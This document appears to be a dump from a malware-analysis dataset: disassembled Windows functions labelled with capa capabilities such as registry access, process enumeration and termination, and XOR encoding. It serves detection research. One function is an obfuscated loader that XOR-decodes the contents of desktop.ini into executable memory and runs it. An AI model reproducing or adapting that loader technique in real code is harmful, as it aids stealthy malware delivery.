joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100510fe
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push edi
mov dword [ebp - 0x64], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x60], 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x64]
push edx
call fcn.1004fb70
add esp, 0xc
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0
mov eax, dword [ebp + 8]
add eax, 0x4f0
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
mov ecx, 0x12
mov esi, str.SELECT_VIPLevel__ExpireTime_FROM_RohanUser.dbo.TVIPState_WHERE_UserID___
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 4
push 0xfffffffffffffff0
push 1
push 1
mov ecx, dword [ebp - 0x60]
push ecx
call sub.ODBC32.dll_SQLBindParameter
push 0xfffffffffffffffd
lea edx, [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x60]
push eax
call sub.ODBC32.dll_SQLExecDirect
movsx ecx, ax
test ecx, ecx
je 0x100511a1
push 0
mov edx, dword [ebp - 0x60]
push edx
call sub.ODBC32.dll_SQLFreeStmt
jmp 0x100511dd
mov eax, dword [ebp - 0x60]
push eax
call sub.ODBC32.dll_SQLFetch
movsx ecx, ax
test ecx, ecx
jne 0x100511dd
push 0
push 0
lea edx, [ebp - 0x5c]
push edx
push 0xffffffffffffffee
push 1
mov eax, dword [ebp - 0x60]
push eax
call sub.ODBC32.dll_SQLGetData
push 0
push 0
lea ecx, [ebp - 0x68]
push ecx
push 0xffffffffffffffee
push 2
mov edx, dword [ebp - 0x60]
push edx
call sub.ODBC32.dll_SQLGetData
jmp 0x100511a1
push 0
mov eax, dword [ebp - 0x60]
push eax
call sub.ODBC32.dll_SQLFreeStmt
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x64]
push eax
call fcn.1004fc9f
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 0x2640
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x5c]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
add ecx, 0x2644
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x68]
mov dword [edx], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100551c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
call fcn.10055316
mov dword [ebp - 0x24], str.SOFTWAREWow6432NodeGeomindGamenet
mov dword [ebp - 0x1c], str.ServerDir
mov dword [ebp - 0x14], str.Nation
lea eax, [ebp - 0x20]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x24]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10055252
mov dword [ebp - 0x10], 0x63
mov dword [ebp - 0xc], 4
lea edx, [ebp - 0x10]
push edx
push 0x1008e314
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc]
push eax
push 0x1008e378
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x18], 0x1008e378
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [0x1008e110], eax
call fcn.100512e0
call fcn.100514b0
call fcn.10051690
call fcn.10051870
call fcn.10051a50
call fcn.10051c30
call fcn.10051e10
call fcn.10051ff0
call fcn.100521d0
call fcn.100523b0
call fcn.10052590
call fcn.10052770
call fcn.10052950
call fcn.10052b30
call fcn.10052d10
call fcn.10052ef0
call fcn.100530d0
call fcn.100532b0
call fcn.10053490
call fcn.10053670
call fcn.10053850
call fcn.10053a30
call fcn.10053c10
call fcn.10053df0
call fcn.10054100
call fcn.100543b0
call fcn.10054590
call fcn.10054770
call fcn.10054950
call fcn.10054b30
call fcn.10054d10
call fcn.10054ef0
call fcn.10053fd0
call fcn.1005537c
call fcn.1005546f
mov esp, ebp
pop ebp
ret

Function at 0x10055316
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], str.SOFTWAREWow6432NodeGeomindGamenetDB
mov dword [ebp - 0x14], str.GameDB
lea eax, [ebp - 0x18]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x10]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10055378
mov dword [ebp - 0xc], 0x1ff
lea edx, [ebp - 0xc]
push edx
push 0x1008e114
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x1006b749
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1007da50
cmp edx, dword [eax]
je 0x1006b76b
add eax, 8
inc ecx
cmp eax, 0x1007dae0
jl 0x1006b75c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1007da50]
jne 0x1006b899
mov eax, dword [0x1008e59c]
cmp eax, 1
je 0x1006b873
test eax, eax
jne 0x1006b79c
cmp dword [0x1008e5a0], 1
je 0x1006b873
cmp edx, 0xfc
je 0x1006b899
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1006b7d3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.1006a270
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.10064400
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x1006b816
lea eax, [ebp - 0x1a4]
push eax
call fcn.10064400
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10073f70
push edi
call fcn.10063480
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.1006a270
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.1006a280
lea eax, [ebp - 0xa0]
push 0x10073f50
push eax
call fcn.1006a280
push dword [esi + 0x1007da54]
lea eax, [ebp - 0xa0]
push eax
call fcn.1006a280
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.1006ed4f
add esp, 0x2c
pop edi
jmp 0x1006b899
lea eax, [ebp + 8]
lea esi, [esi + 0x1007da54]
push 0
push eax
push dword [esi]
call fcn.10064400
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0xa97b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0xa97b50
lcall 0x5de5, 0x8b10c483
jmp loc.00e2f7e8
Function at 0x405cc4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405cdb
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x405d10
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x405d0c
cmp edi, eax
jae 0x405d10
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x405cfe
cmp edi, eax
jb 0x405d14
xor eax, eax
jmp 0x405d1e
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x405f15
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebx]
xor ecx, ecx
cmp eax, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
je 0x405fa3
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [ebp - 4]
push edx
push ecx
lea edx, [ebp - 8]
push edx
push ecx
push dword [ebp + 8]
push eax
call edi
cmp dword [ebp - 8], 1
je 0x405f4c
cmp dword [ebp - 8], 2
jne 0x405fa2
push esi
mov esi, dword [ebp + 0xc]
call fcn.00405b8e
mov eax, dword [ebp - 4]
shr eax, 1
inc eax
push eax
call fcn.00405a85
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [ebx]
call edi
test eax, eax
jne 0x405f8a
mov eax, dword [ebp - 4]
shr eax, 1
and word [esi + eax*2], 0
mov dword [ebp - 0xc], 1
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
test eax, eax
je 0x405f9a
push eax
call fcn.0048c0b5
pop ecx
mov edx, esi
call fcn.00405a41
pop esi
pop edi
mov eax, dword [ebp - 0xc]
leave
ret 8

Function at 0x4061f8
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov eax, 0x4a7c8d
call fcn.004a5df8
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00405bce
push dword [ebp + 8]
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x406243
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00405949
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push dword [ebp + 8]
call esi
test eax, eax
jne 0x406224
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
mov ebx, 0xb7
cmp eax, ebx
je 0x406224
lea ecx, [ebp - 0x10]
call fcn.004283fe
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], 0
jne 0x40627a
xor esi, esi
jmp 0x406227
push eax
call fcn.004061f8
test eax, eax
pop ecx
je 0x406276
push 0
push dword [ebp + 8]
call esi
test eax, eax
jne 0x406224
call edi
cmp eax, ebx
jne 0x406276
jmp 0x406224
Function at 0x4084db
Capabilities:
Get disk information

Disassembly:
mov eax, 0x4a8c12
call fcn.004a5df8
sub esp, 0x2f4
push ebx
push esi
push edi
xor esi, esi
push 0xd2
lea eax, [ebp - 0xee]
push esi
push eax
mov word [ebp - 0xf0], si
call fcn.0048b810
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
push 0x69
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp eax, esi
jne 0x408526
xor eax, eax
jmp 0x4085ea
cdq
and edx, 3
add eax, edx
mov edi, eax
push 0x208
lea eax, [ebp - 0x2fe]
push esi
push eax
sar edi, 2
mov word [ebp - 0x300], si
call fcn.0048b810
mov word [ebp - 0xf8], si
mov esi, dword [ebp + 8]
add esp, 0xc
add esi, 4
lea ebx, [ebp - 0xf0]
call fcn.00408bc3
test edi, edi
jle 0x4085e7
mov dword [ebp - 0x10], edi
and word [ebx + 4], 0
push 0x104
lea eax, [ebp - 0x300]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x4085df
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00405bce
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
mov edi, esi
call fcn.00408b68
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.00405949
push ebx
lea eax, [ebp - 0x14]
push eax
call fcn.00405bce
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 1
call fcn.00408b68
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00405949
add ebx, 8
dec dword [ebp - 0x10]
jne 0x40856c
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4

Function at 0x408621
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esi + 0x14], ebx
jne 0x4086a2
push str.PSAPI.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, ebx
mov dword [esi + 0x18], eax
je 0x4086a2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumProcessModules
push eax
call edi
push str.EnumProcesses
push dword [esi + 0x18]
mov dword [esi + 8], eax
call edi
push str.GetModuleBaseNameW
push dword [esi + 0x18]
mov dword [esi], eax
call edi
push str.GetModuleFileNameExW
push dword [esi + 0x18]
mov dword [esi + 4], eax
call edi
push str.GetProcessImageFileNameW
push dword [esi + 0x18]
mov dword [esi + 0xc], eax
call edi
cmp dword [esi], ebx
mov dword [esi + 0x10], eax
pop edi
je 0x40869d
cmp dword [esi + 4], ebx
je 0x40869d
cmp dword [esi + 8], ebx
je 0x40869d
cmp dword [esi + 0xc], ebx
je 0x40869d
cmp eax, ebx
je 0x40869d
xor eax, eax
inc eax
jmp 0x40869f
xor eax, eax
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
pop ebx
ret
Function at 0x4087d1
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x4a7a2d
call fcn.004a5df8
sub esp, 0x224
push ebx
push esi
push edi
xor esi, esi
push 0x206
lea eax, [ebp - 0x22e]
push esi
push eax
mov edi, ecx
mov dword [ebp - 0x18], esi
mov word [ebp - 0x230], si
call fcn.0048b810
xor ecx, ecx
add esp, 0xc
inc ecx
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.0040644d
push 0x4b7504
push eax
mov dword [ebp - 4], esi
call fcn.004054f9
mov ebx, eax
neg ebx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
inc bl
call fcn.00405949
test bl, bl
je 0x4089a7
mov ebx, str.___
push ebx
call fcn.0048c0b5
mov esi, str.SystemRoot_
push esi
mov dword [ebp - 0x1c], eax
call fcn.0048c0b5
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x10]
mov eax, edi
call fcn.0040644d
push ebx
push eax
mov dword [ebp - 4], 1
call fcn.004054f9
mov ebx, eax
neg ebx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
inc bl
call fcn.00405949
test bl, bl
je 0x4088c0
mov eax, dword [edi]
mov ecx, dword [eax - 0xc]
sub ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
push eax
mov eax, edi
call fcn.004063fd
mov dword [ebp - 4], 2
call fcn.00404ebe
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
jmp 0x408976
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
mov eax, edi
call fcn.0040644d
push esi
push eax
mov dword [ebp - 4], 3
call fcn.004054f9
mov ebx, eax
neg ebx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
inc bl
call fcn.00405949
test bl, bl
je 0x40897e
push 0x104
lea eax, [ebp - 0x230]
push eax
push str._SystemRoot_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [edi]
mov ecx, dword [eax - 0xc]
sub ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x24]
push eax
inc ecx
mov eax, edi
call fcn.004063fd
mov esi, eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 4], 4
call fcn.00405bce
lea ecx, [ebp - 0x20]
push esi
push ecx
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.00406489
pop ecx
pop ecx
mov byte [ebp - 4], 6
call fcn.00404ebe
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
call fcn.00405949
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
call fcn.00405949
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
call fcn.00405949
mov eax, dword [edi]
mov ecx, dword [eax - 0xc]
cmp ecx, 3
jg 0x408991
mov esi, edi
call fcn.00405b8e
jmp 0x4089ae
cmp ecx, 1
jge 0x4089a0
push 0x80070057
call fcn.00405a6d
cmp word [eax + 2], 0x3a
jne 0x408988
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4089c0
Capabilities:
Terminate process

Disassembly:
push esi
push dword [esp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4089ea
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x409301
Capabilities:
Set registry value

Disassembly:
push edi
xor edi, edi
cmp dword [esi], edi
je 0x40932f
push dword [esp + 0xc]
call fcn.0048c0b5
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [esp + 0x10]
push 1
push edi
push dword [esp + 0x18]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40932f
inc edi
mov eax, edi
pop edi
ret 8

Function at 0x409349
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [esi], eax
push ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
mov dword [edi], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x4093d2
push ebx
call fcn.004884f5
pop ecx
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x4093c3
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x4b7504
push dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4093c3
cmp dword [ebp - 0xc], ebx
je 0x4093c3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 8]
mov dword [edi], ecx
mov eax, dword [eax + 0xc]
mov dword [esi], eax
mov dword [ebp - 0x14], 1
cmp dword [ebp - 4], 0
je 0x4093d2
push dword [ebp - 4]
call fcn.0048b807
pop ecx
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret

Function at 0x40940e
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4a74bc
call fcn.004a5df8
sub esp, 0x20c
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov ecx, 0x4d800c
mov dword [ebp - 0x10], edi
call fcn.00405c11
push 0x206
lea eax, [ebp - 0x216]
mov dword [ebp - 4], edi
push edi
push eax
mov dword [ebp - 0x10], 1
mov word [ebp - 0x218], di
call fcn.0048b810
add esp, 0xc
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
push esi
call fcn.00405de9
push esi
call fcn.00406164
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x409569
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x11c
push esi
push edi
mov esi, 0x11c
push esi
xor edi, edi
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.0048b810
add esp, 0xc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
cmp eax, edi
jne 0x4095c2
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa4], 0x114
call esi
cmp eax, edi
je 0x409678
mov eax, dword [ebp - 0x94]
dec eax
je 0x409664
dec eax
jne 0x409678
mov eax, dword [ebp - 0xa0]
xor edx, edx
push 6
pop ecx
inc edx
cmp eax, ecx
jne 0x409611
cmp dword [ebp - 0x9c], edx
jne 0x4095fb
xor eax, eax
cmp byte [ebp + 0x76], dl
setne al
add eax, 8
jmp 0x409660
cmp dword [ebp - 0x9c], edi
jne 0x409649
xor eax, eax
cmp byte [ebp + 0x76], dl
setne al
lea eax, [eax + eax + 7]
jmp 0x409660
cmp eax, 5
jne 0x40963b
cmp dword [ebp - 0x9c], 2
jne 0x409622
push eax
jmp 0x409642
cmp dword [ebp - 0x9c], 1
jne 0x40962f
mov edi, ecx
jmp 0x409678
cmp dword [ebp - 0x9c], edi
jne 0x409678
push 3
jmp 0x409642
cmp eax, 4
ja 0x409645
push 4
pop edi
jmp 0x409678
cmp eax, ecx
jb 0x409678
cmp dword [ebp - 0x9c], 2
jae 0x409656
cmp eax, ecx
jbe 0x409678
cmp byte [ebp + 0x76], dl
jne 0x409678
call fcn.00409491
mov edi, eax
jmp 0x409678
mov eax, dword [ebp - 0x98]
and eax, 0xffff0000
cmp eax, 0x45a0000
sbb edi, edi
inc edi
inc edi
mov eax, edi
pop edi
pop esi
add ebp, 0x78
leave
ret

Function at 0x40a31e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x40a343
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40a404
push edi
push 0x228
xor edi, edi
lea eax, [ebp - 0x22c]
push edi
push eax
mov dword [ebp - 4], 0x490
call fcn.0048b810
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push esi
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40a3b3
lea eax, [ebp - 0x20c]
push 0x4b76e0
push eax
call fcn.0048cce6
test eax, eax
pop ecx
pop ecx
je 0x40a3a7
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40a37d
jmp 0x40a3bc
mov edi, dword [ebp - 0x228]
and dword [ebp - 4], 0
jmp 0x40a3bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40a3e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40a403
push dword [ebp + 8]
push 0xf01ff
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40a3fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push edi
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret